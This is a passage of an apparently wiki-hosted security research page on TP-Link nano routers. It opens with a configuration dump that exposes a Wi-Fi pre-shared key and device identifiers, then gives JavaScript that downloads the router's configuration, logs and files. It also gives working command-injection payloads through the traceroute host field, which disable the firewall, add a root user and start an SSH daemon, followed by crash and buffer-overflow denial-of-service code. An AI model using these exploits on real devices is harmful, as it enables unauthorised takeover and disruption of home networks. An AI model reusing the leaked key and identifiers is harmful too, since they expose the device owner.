version=&lt;br /&gt;
releaseDate=&lt;br /&gt;
releaseLog=&lt;br /&gt;
url=&lt;br /&gt;
start=0&lt;br /&gt;
status=0&lt;br /&gt;
progress=0&lt;br /&gt;
[0,0,0,0,0,0]47&lt;br /&gt;
email=&lt;br /&gt;
passwd=&lt;br /&gt;
needUnbind=0&lt;br /&gt;
md5Crypt=0&lt;br /&gt;
[0,0,0,0,0,0]48&lt;br /&gt;
nickname=&lt;br /&gt;
role=-1&lt;br /&gt;
token=&lt;br /&gt;
ewebURL=&lt;br /&gt;
action=0&lt;br /&gt;
status=0&lt;br /&gt;
[0,0,0,0,0,0]49&lt;br /&gt;
enable=1&lt;br /&gt;
boundDomain=&lt;br /&gt;
tmpDomainName=&lt;br /&gt;
action=0&lt;br /&gt;
status=0&lt;br /&gt;
[0,0,0,0,0,0]50&lt;br /&gt;
domainName=&lt;br /&gt;
regDate=&lt;br /&gt;
isBind=0&lt;br /&gt;
[0,0,0,0,0,0]51&lt;br /&gt;
enable=1&lt;br /&gt;
errorType=0&lt;br /&gt;
[0,0,0,0,0,0]52&lt;br /&gt;
isIgnored=0&lt;br /&gt;
ignoredTime=0&lt;br /&gt;
[0,0,0,0,0,0]53&lt;br /&gt;
diagnosticsState=None&lt;br /&gt;
maximumResponseTime=0&lt;br /&gt;
minimumResponseTime=65535&lt;br /&gt;
averageResponseTime=0&lt;br /&gt;
failureCount=0&lt;br /&gt;
successCount=0&lt;br /&gt;
X_TP_PktSequence=0&lt;br /&gt;
X_TP_ResponseTime=0&lt;br /&gt;
X_TP_IPAddress=0.0.0.0&lt;br /&gt;
X_TP_Result=&lt;br /&gt;
X_TP_ConnName=&lt;br /&gt;
X_TP_IfName=&lt;br /&gt;
DSCP=0&lt;br /&gt;
dataBlockSize=64&lt;br /&gt;
timeout=100&lt;br /&gt;
numberOfRepetitions=2&lt;br /&gt;
host=0.0.0.0&lt;br /&gt;
interface=&lt;br /&gt;
[0,0,0,0,0,0]54&lt;br /&gt;
diagnosticsState=None&lt;br /&gt;
routeHopsNumberOfEntries=0&lt;br /&gt;
responseTime=0&lt;br /&gt;
maxHopCount=30&lt;br /&gt;
DSCP=0&lt;br /&gt;
dataBlockSize=64&lt;br /&gt;
timeout=5&lt;br /&gt;
numberOfTries=2&lt;br /&gt;
X_TP_HopSeq=0&lt;br /&gt;
X_TP_IPAddress=0.0.0.0&lt;br /&gt;
X_TP_Result=&lt;br /&gt;
X_TP_ConnName=&lt;br /&gt;
X_TP_IfName=&lt;br /&gt;
host=&lt;br /&gt;
interface=&lt;br /&gt;
[0,0,0,0,0,0]55&lt;br /&gt;
enable=1&lt;br /&gt;
internetGroupVlanID=2&lt;br /&gt;
internetGroupExtendID=0&lt;br /&gt;
internetGroupLanPort=255&lt;br /&gt;
internetGroupPriority=0&lt;br /&gt;
internetUntag=1&lt;br /&gt;
workingMode=&lt;br /&gt;
[0,0,0,0,0,0]56&lt;br /&gt;
disableIPv6=1&lt;br /&gt;
lastUsedWanConnection=&lt;br /&gt;
[0,0,0,0,0,0]57&lt;br /&gt;
online=0&lt;br /&gt;
[0,0,0,0,0,0]58&lt;br /&gt;
oneKeyRePressed=0&lt;br /&gt;
mode=Router&lt;br /&gt;
first_login=0&lt;br /&gt;
router_IPInterfaceIPAddress=&lt;br /&gt;
router_IPInterfaceSubnetMask=&lt;br /&gt;
[0,0,0,0,0,0]59&lt;br /&gt;
enable=0&lt;br /&gt;
IPAddress=&lt;br /&gt;
interval=10&lt;br /&gt;
delay=5&lt;br /&gt;
failCount=5&lt;br /&gt;
[1,2,0,0,0,0]60&lt;br /&gt;
__syncApStatus=0&lt;br /&gt;
__apLastStatus=3&lt;br /&gt;
enable=1&lt;br /&gt;
status=Up&lt;br /&gt;
name=wlan5&lt;br /&gt;
BSSID=98:DA:C4:6E:00:FB&lt;br /&gt;
channel=36&lt;br /&gt;
autoChannelEnable=0&lt;br /&gt;
X_TP_PreSSID=TP-Link&lt;br /&gt;
SSID=TP-Link_00FC_5G&lt;br /&gt;
beaconType=11i&lt;br /&gt;
MACAddressControlEnabled=0&lt;br /&gt;
X_TP_MACAddressControlRule=deny&lt;br /&gt;
X_TP_MACTableSize=0&lt;br /&gt;
X_TP_Configuration_Modified=0&lt;br /&gt;
X_TP_Band=5GHz&lt;br /&gt;
X_TP_Bandwidth=Auto&lt;br /&gt;
standard=ac&lt;br /&gt;
WEPKeyIndex=1&lt;br /&gt;
WEPEncryptionLevel=Disabled,40-bits,104-bits&lt;br /&gt;
basicEncryptionModes=None&lt;br /&gt;
basicAuthenticationMode=None&lt;br /&gt;
WPAEncryptionModes=TKIPandAESEncryption&lt;br /&gt;
WPAAuthenticationMode=PSKAuthentication&lt;br /&gt;
IEEE11iEncryptionModes=AESEncryption&lt;br /&gt;
IEEE11iAuthenticationMode=PSKAuthentication&lt;br /&gt;
X_TP_PreSharedKey=37490720&lt;br /&gt;
X_TP_GroupKeyUpdateInterval=0&lt;br /&gt;
possibleChannels=&lt;br /&gt;
basicDataTransmitRates=6,12,24,&lt;br /&gt;
operationalDataTransmitRates=1,2,5.5,11,6,9,12,18,&lt;br /&gt;
possibleDataTransmitRates=&lt;br /&gt;
SSIDAdvertisementEnabled=1&lt;br /&gt;
transmitPowerSupported=100,50,20&lt;br /&gt;
transmitPower=100&lt;br /&gt;
regulatoryDomain=DE &lt;br /&gt;
deviceOperationMode=InfrastructureAccessPoint&lt;br /&gt;
X_TP_RadiusServerIP=&lt;br /&gt;
X_TP_RadiusServerPort=1812&lt;br /&gt;
X_TP_RadiusServerPassword=&lt;br /&gt;
WMMEnable=1&lt;br /&gt;
X_TP_BeaconInterval=100&lt;br /&gt;
X_TP_RTSThreshold=2346&lt;br /&gt;
X_TP_FragmentThreshold=2346&lt;br /&gt;
X_TP_DTIMFrequency=1&lt;br /&gt;
X_TP_IsolateClients=0&lt;br /&gt;
X_TP_ShortGIEnable=1&lt;br /&gt;
totalAssociations=65&lt;br /&gt;
maxStaNum=32&lt;br /&gt;
X_TP_ShowRegionSelectionOnWeb=0&lt;br /&gt;
[error]0&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 190428&lt;br /&gt;
var act_get_oid_list = [&amp;quot;IGD_DEV_INFO&amp;quot;, &amp;quot;ETH_SWITCH&amp;quot;, &amp;quot;SYS_MODE&amp;quot;, &amp;quot;MULTIMODE&amp;quot;]&lt;br /&gt;
for(let i=0; i&amp;lt;act_get_oid_list.length; i++){&lt;br /&gt;
	$.act(ACT_GET, act_get_oid_list[i]);&lt;br /&gt;
}&lt;br /&gt;
$.exe(null, false, 0);&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Example Results (50 lines) (includes &amp;quot;softwareVersion&amp;quot; version)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;[0,0,0,0,0,0]0&lt;br /&gt;
manufacturer=TP-Link&lt;br /&gt;
manufacturerOUI=74DA88&lt;br /&gt;
modelName=TL-WR802N&lt;br /&gt;
description=TP-Link Wireless N Nano Router WR802N &lt;br /&gt;
productClass=IGD&lt;br /&gt;
serialNumber=74DA88FCC3AE&lt;br /&gt;
hardwareVersion=TL-WR802N v4 00000004&lt;br /&gt;
softwareVersion=0.9.1 3.17 v0001.0 Build 190428 Rel.63523n&lt;br /&gt;
modemFirmwareVersion=&lt;br /&gt;
enabledOptions=&lt;br /&gt;
additionalHardwareVersion=00000004&lt;br /&gt;
additionalSoftwareVersion=&lt;br /&gt;
specVersion=1.0&lt;br /&gt;
provisioningCode=&lt;br /&gt;
upTime=76&lt;br /&gt;
firstUseDate=&lt;br /&gt;
deviceLog=0x58801d6c&lt;br /&gt;
X_TP_HardwareID=FEDC62EBE64D50D422C775E201ADCE6F&lt;br /&gt;
X_TP_FirmwareID=E24EF98E8F388F5387CC7AEA4D362363&lt;br /&gt;
X_TP_HardwareDescription=TL-WR802N 4.0&lt;br /&gt;
X_TP_isFD=1&lt;br /&gt;
X_TP_DevManufacturerURL=http://www.tp-link.com&lt;br /&gt;
X_TP_DevModelVersion=4.0&lt;br /&gt;
X_TP_ProductID=134348804&lt;br /&gt;
X_TP_ProductVersion=1&lt;br /&gt;
X_TP_SoftwareRevision=1437205265&lt;br /&gt;
X_TP_SoftwareRevisionMinor=0&lt;br /&gt;
X_TP_PlatformVersion=2768242945&lt;br /&gt;
X_TP_BuildDate=190428&lt;br /&gt;
X_TP_BuildTime=63523&lt;br /&gt;
[0,0,0,0,0,0]1&lt;br /&gt;
enableVirtualPorts=0&lt;br /&gt;
numberOfVirtualPorts=4&lt;br /&gt;
ifName=eth0&lt;br /&gt;
[0,0,0,0,0,0]2&lt;br /&gt;
mode=ETH&lt;br /&gt;
DSLL3ForwardingName=NO_INTERFACE&lt;br /&gt;
ETHL3ForwardingName=NO_INTERFACE&lt;br /&gt;
_3GL3ForwardingName=NO_INTERFACE&lt;br /&gt;
DSLL3IPv6ForwardingName=NO_INTERFACE&lt;br /&gt;
ETHL3IPv6ForwardingName=NO_INTERFACE&lt;br /&gt;
[0,0,0,0,0,0]3&lt;br /&gt;
oneKeyRePressed=0&lt;br /&gt;
mode=Router&lt;br /&gt;
first_login=0&lt;br /&gt;
router_IPInterfaceIPAddress=192.168.0.1&lt;br /&gt;
router_IPInterfaceSubnetMask=255.255.255.0&lt;br /&gt;
router_ConnName=&lt;br /&gt;
[error]0&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Download the server configuration&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;&lt;br /&gt;
// Firmware: 170828, 190428&lt;br /&gt;
$.ajax(&lt;br /&gt;
{&lt;br /&gt;
	type: &amp;quot;POST&amp;quot;,&lt;br /&gt;
	url: &amp;quot;http://192.168.1.1/cgi/conf.bin?&amp;quot;,&lt;br /&gt;
	success:function(data) {&lt;br /&gt;
		console.log(data);&lt;br /&gt;
	},&lt;br /&gt;
	error:function(errno) {&lt;br /&gt;
		console.log(errno);&lt;br /&gt;
    }&lt;br /&gt;
});&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Download the server logs&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828&lt;br /&gt;
$.ajax({&lt;br /&gt;
	type: &amp;quot;POST&amp;quot;,&lt;br /&gt;
	url: &amp;quot;/cgi/log?&amp;quot;,&lt;br /&gt;
	success: data =&amp;gt; console.log(data)&lt;br /&gt;
});&lt;br /&gt;
&lt;br /&gt;
/* Example Results&lt;br /&gt;
1970-01-01 00:00:14 [5] DHCPC: Send DISCOVER with request ip 0.0.0.0 and unicast flag 0&lt;br /&gt;
1970-01-01 00:00:16 [5] DHCPC: Send DISCOVER with request ip 0.0.0.0 and unicast flag 0&lt;br /&gt;
1970-01-01 00:00:19 [5] DHCPC: Send DISCOVER with request ip 0.0.0.0 and unicast flag 0&lt;br /&gt;
1970-01-01 00:00:20 [5] DHCPC: Recv OFFER from server 192.168.0.1 with ip 192.168.0.107&lt;br /&gt;
1970-01-01 00:00:21 [5] DHCPC: Send REQUEST to server 192.168.0.1 with request ip 192.168.0.107&lt;br /&gt;
1970-01-01 00:00:22 [5] DHCPC: Recv ACK from server 192.168.0.1 with ip 192.168.0.107 lease time 3600&lt;br /&gt;
1970-01-01 00:00:22 [5] DHCPC: Recv DNS server address 192.168.0.1,0,0,0,0&lt;br /&gt;
2020-06-28 22:48:18 [5] DHCPD: Recv REQUEST from XX:XX:XX:XX:XX:XX&lt;br /&gt;
2020-06-28 22:48:19 [5] DHCPD: Send ACK to 192.168.1.100*/&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Download any file from the Webserver&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828, 190428&lt;br /&gt;
let __getFile = path =&amp;gt; {&lt;br /&gt;
	$.ajax({&lt;br /&gt;
		type: &amp;quot;POST&amp;quot;,&lt;br /&gt;
		url: path,&lt;br /&gt;
		success: data =&amp;gt; console.log(data),&lt;br /&gt;
		error: errno =&amp;gt; console.log(errno)&lt;br /&gt;
	});&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
__getFile(&amp;quot;/cgi/info&amp;quot;);&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Code Injection&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;Similar to the already listed [https://www.cvedetails.com/cve/CVE-2019-15060/ CVE-2019-15060] concerning the TL-WR840N router with firmware 0.9.1 3.16, the traceroute function on the TP-Link TL-WR902AC v4 with firmware 0.9.1 0.1 (170828) is vulnerable to remote code execution via a crafted payload in an IP address input field. This again works totally unauthenticated from the login screen or via forget packet using cURL. The TL-WR802N with firmware 0.9.1 3.17 isn&#039;t affected anymore. While the [[#Denial-of-Service|DoS]] attack using the same traceroute function exists in both firmware versions.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Command Injection via CGI Examples&amp;lt;/b&amp;gt; &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;!--// V0&lt;br /&gt;
traceroute_diag_attributes = [&lt;br /&gt;
	&amp;quot;diagnosticsState&amp;quot;,&lt;br /&gt;
	&amp;quot;routeHopsNumberOfEntries&amp;quot;,&lt;br /&gt;
	&amp;quot;responseTime&amp;quot;,&lt;br /&gt;
	&amp;quot;maxHopCount&amp;quot;,&lt;br /&gt;
	&amp;quot;DSCP&amp;quot;,&lt;br /&gt;
	&amp;quot;dataBlockSize&amp;quot;,&lt;br /&gt;
	&amp;quot;timeout&amp;quot;,&lt;br /&gt;
	&amp;quot;numberOfTries&amp;quot;,&lt;br /&gt;
	&amp;quot;X_TP_HopSeq&amp;quot;,&lt;br /&gt;
	&amp;quot;X_TP_IPAddress&amp;quot;,&lt;br /&gt;
	&amp;quot;X_TP_Result&amp;quot;,&lt;br /&gt;
	&amp;quot;X_TP_ConnName&amp;quot;,&lt;br /&gt;
	&amp;quot;X_TP_IfName&amp;quot;,&lt;br /&gt;
	&amp;quot;host&amp;quot;,&lt;br /&gt;
	&amp;quot;interface&amp;quot;&lt;br /&gt;
];&lt;br /&gt;
&lt;br /&gt;
_tracert = $.act(ACT_GET, TRACEROUTE_DIAG, null, null, [&amp;quot;maxHopCount&amp;quot;, &amp;quot;timeout&amp;quot;, &amp;quot;numberOfTries&amp;quot;, &amp;quot;host&amp;quot;, &amp;quot;dataBlockSize&amp;quot;, &amp;quot;X_TP_ConnName&amp;quot;, &amp;quot;diagnosticsState&amp;quot;, &amp;quot;X_TP_HopSeq&amp;quot;]);&lt;br /&gt;
&lt;br /&gt;
if (!$.exe())&lt;br /&gt;
{&lt;br /&gt;
	_tracert.diagnosticsState = &amp;quot;Requested&amp;quot;;&lt;br /&gt;
	_tracert.host 			 = &amp;quot;; /sbin/reboot;&amp;quot;;&lt;br /&gt;
	_tracert.dataBlockSize 	 = 64;&lt;br /&gt;
	_tracert.timeout 		 = 5;&lt;br /&gt;
	_tracert.numberOfTries 	 = 2;&lt;br /&gt;
	_tracert.maxHopCount 	 = 30;&lt;br /&gt;
	_tracert.X_TP_ConnName 	 = &amp;quot;lo0&amp;quot;&lt;br /&gt;
	_tracert.X_TP_HopSeq 	 = 0;&lt;br /&gt;
&lt;br /&gt;
	$.act(ACT_SET, TRACEROUTE_DIAG, null, null, _tracert);&lt;br /&gt;
&lt;br /&gt;
	if (!$.exe()) &lt;br /&gt;
	{&lt;br /&gt;
		$.act(ACT_OP, ACT_OP_TRACERT);&lt;br /&gt;
		$.exe()&lt;br /&gt;
		&lt;br /&gt;
		$.act(ACT_GET, TRACEROUTE_DIAG);&lt;br /&gt;
		console.log($.exe());&lt;br /&gt;
	}	&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// V0.1&lt;br /&gt;
let __inject = command =&amp;gt; {&lt;br /&gt;
	tracert = $.act(ACT_GET, TRACEROUTE_DIAG, null, null, [&lt;br /&gt;
		&amp;quot;diagnosticsState&amp;quot;, &lt;br /&gt;
		&amp;quot;host&amp;quot;, &lt;br /&gt;
		&amp;quot;dataBlockSize&amp;quot;,&lt;br /&gt;
		&amp;quot;timeout&amp;quot;, &lt;br /&gt;
		&amp;quot;numberOfTries&amp;quot;,  &lt;br /&gt;
		&amp;quot;maxHopCount&amp;quot;, &lt;br /&gt;
		&amp;quot;X_TP_ConnName&amp;quot;, &lt;br /&gt;
		&amp;quot;X_TP_HopSeq&amp;quot;,&lt;br /&gt;
		&amp;quot;interface&amp;quot;&lt;br /&gt;
	]);&lt;br /&gt;
&lt;br /&gt;
	if (!$.exe())&lt;br /&gt;
	{&lt;br /&gt;
		tracert.diagnosticsState = &amp;quot;Requested&amp;quot;;&lt;br /&gt;
		tracert.host 			 = command;&lt;br /&gt;
		tracert.dataBlockSize 	 = 64;&lt;br /&gt;
		tracert.timeout 		 = 5;&lt;br /&gt;
		tracert.numberOfTries 	 = 2;&lt;br /&gt;
		tracert.maxHopCount 	 = 30;&lt;br /&gt;
		tracert.X_TP_ConnName 	 = &amp;quot;lo0&amp;quot;&lt;br /&gt;
		tracert.X_TP_HopSeq 	 = 0;&lt;br /&gt;
&lt;br /&gt;
		$.act(ACT_SET, TRACEROUTE_DIAG, null, null, tracert);&lt;br /&gt;
&lt;br /&gt;
		if (!$.exe()) &lt;br /&gt;
		{&lt;br /&gt;
			$.act(ACT_OP, ACT_OP_TRACERT);&lt;br /&gt;
			$.exe();&lt;br /&gt;
		}	&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// V0.3&lt;br /&gt;
let __inject = command =&amp;gt; {&lt;br /&gt;
	&lt;br /&gt;
	tracert = {&lt;br /&gt;
		diagnosticsState : &amp;quot;Requested&amp;quot;,&lt;br /&gt;
		host 			 : command,&lt;br /&gt;
		dataBlockSize 	 : 64,&lt;br /&gt;
		timeout 		 : 5,&lt;br /&gt;
		numberOfTries 	 : 2,&lt;br /&gt;
		maxHopCount 	 : 30,&lt;br /&gt;
		X_TP_ConnName 	 : &amp;quot;lo0&amp;quot;,&lt;br /&gt;
		X_TP_HopSeq 	 : 0&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	$.act(ACT_SET, TRACEROUTE_DIAG, null, null, tracert);&lt;br /&gt;
&lt;br /&gt;
	if (!$.exe()) &lt;br /&gt;
	{&lt;br /&gt;
		$.act(ACT_OP, ACT_OP_TRACERT);&lt;br /&gt;
		$.exe();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
__inject(&amp;quot;;reboot&amp;quot;);&lt;br /&gt;
__inject(&amp;quot;;kill 1&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;&lt;br /&gt;
// Inject Command&lt;br /&gt;
let __inject = command =&amp;gt; {&lt;br /&gt;
	&lt;br /&gt;
	let parameter = {host: &amp;quot;;&amp;quot;+command+&amp;quot;;&amp;quot;, X_TP_ConnName: &amp;quot;lo0&amp;quot;};&lt;br /&gt;
&lt;br /&gt;
	$.act(ACT_SET, TRACEROUTE_DIAG, null, null, parameter); &lt;br /&gt;
	$.act(ACT_OP, ACT_OP_TRACERT);&lt;br /&gt;
	$.exe();&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// Reboot&lt;br /&gt;
__inject(&amp;quot;reboot&amp;quot;);&lt;br /&gt;
__inject(&amp;quot;kill 1&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
// Enable access to all service from WAN &lt;br /&gt;
// Web Interface fails due to wrong referer header&lt;br /&gt;
__inject(&amp;quot;iptables -P INPUT ACCEPT&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
// Add user to the passwd file&lt;br /&gt;
__inject(&amp;quot;echo test:test:0:0:root:/:/bin/sh &amp;gt;&amp;gt; /var/passwd&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
// Start another Dropbear instance on a different port&lt;br /&gt;
__inject(&amp;quot;dropbear -p 2222 -r /var/tmp/dropbear/dropbear_rsa_host_key&amp;quot;);&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Minified&lt;br /&gt;
$.act(ACT_SET, TRACEROUTE_DIAG, null, null, {host: &amp;quot;;reboot;&amp;quot;, X_TP_ConnName: &amp;quot;lo0&amp;quot;}); &lt;br /&gt;
$.act(ACT_OP, ACT_OP_TRACERT); &lt;br /&gt;
$.exe();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The first &amp;lt;code&amp;gt;;&amp;lt;/code&amp;gt; is used to end the tracert command. The second ; is used to seperate any possibly attached tracert paramerters from the injected command.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Denial-of-Service&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;There are several ways to make the device crash or misbehave.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;h4 style=&amp;quot;display: inline&amp;quot;&amp;gt;Using Code Injection&amp;lt;/h4&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Crash device (Needs hard reset)&lt;br /&gt;
// Firmware: 170828 (no auth)&lt;br /&gt;
$.act(ACT_SET, TRACEROUTE_DIAG, null, null, { host: &amp;quot;;&amp;quot; }); $.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Doesn&#039;t poweroff but crashes everything instead&lt;br /&gt;
// Firmware: 170828&lt;br /&gt;
$.act(ACT_SET, TRACEROUTE_DIAG, null, null, { host: &amp;quot;;poweroff;&amp;quot; }); $.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;h4 style=&amp;quot;display: inline&amp;quot;&amp;gt;Using Buffer Overflow&amp;lt;/h4&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// This kills the httpd deamon (verified using UART) (restart httpd not working)&lt;br /&gt;
// Firmware: 170828 (no auth), 190428 (auth)&lt;br /&gt;
let __inject = command =&amp;gt; {&lt;br /&gt;
	$.act(ACT_SET, TRACEROUTE_DIAG, null, null, {host: command, X_TP_ConnName: &amp;quot;lo0&amp;quot;}); &lt;br /&gt;
	$.act(ACT_OP, ACT_OP_TRACERT);&lt;br /&gt;
	$.exe();&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
let buffer_size = 2046;&lt;br /&gt;
let buffer = &amp;quot;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
for(let i = 0; i &amp;lt; buffer_size; i++){&lt;br /&gt;
    buffer += &amp;quot;X&amp;quot;;&lt;br /&gt;
} &lt;br /&gt;
&lt;br /&gt;
__inject(buffer);&lt;br /&gt;
&lt;br /&gt;
/* Remaining services running&lt;br /&gt;
PORT      STATE   SERVICE 		VERSION&lt;br /&gt;
21/tcp    closed  ftp     		vsftpd 2.0.8 or later&lt;br /&gt;
22/tcp    open    ssh     		Dropbear sshd 2012.55&lt;br /&gt;
80/tcp    closed  http    		TP-LINK TD-W8968 http&lt;br /&gt;
1900/tcp  open    upnp    		Portable SDK for UPnP&lt;br /&gt;
139 /tcp  closed  netbios-ssn 	Samba smbd 3.X - 4.X&lt;br /&gt;
445/tcp   closed  netbios-ssn 	Samba smbd 3.0.14a&lt;br /&gt;
40955/tcp closed  upnp       	Portable SDK for UPnP&lt;br /&gt;
*/&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;h4 style=&amp;quot;display: inline&amp;quot;&amp;gt;Using hPing&amp;lt;/h4&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
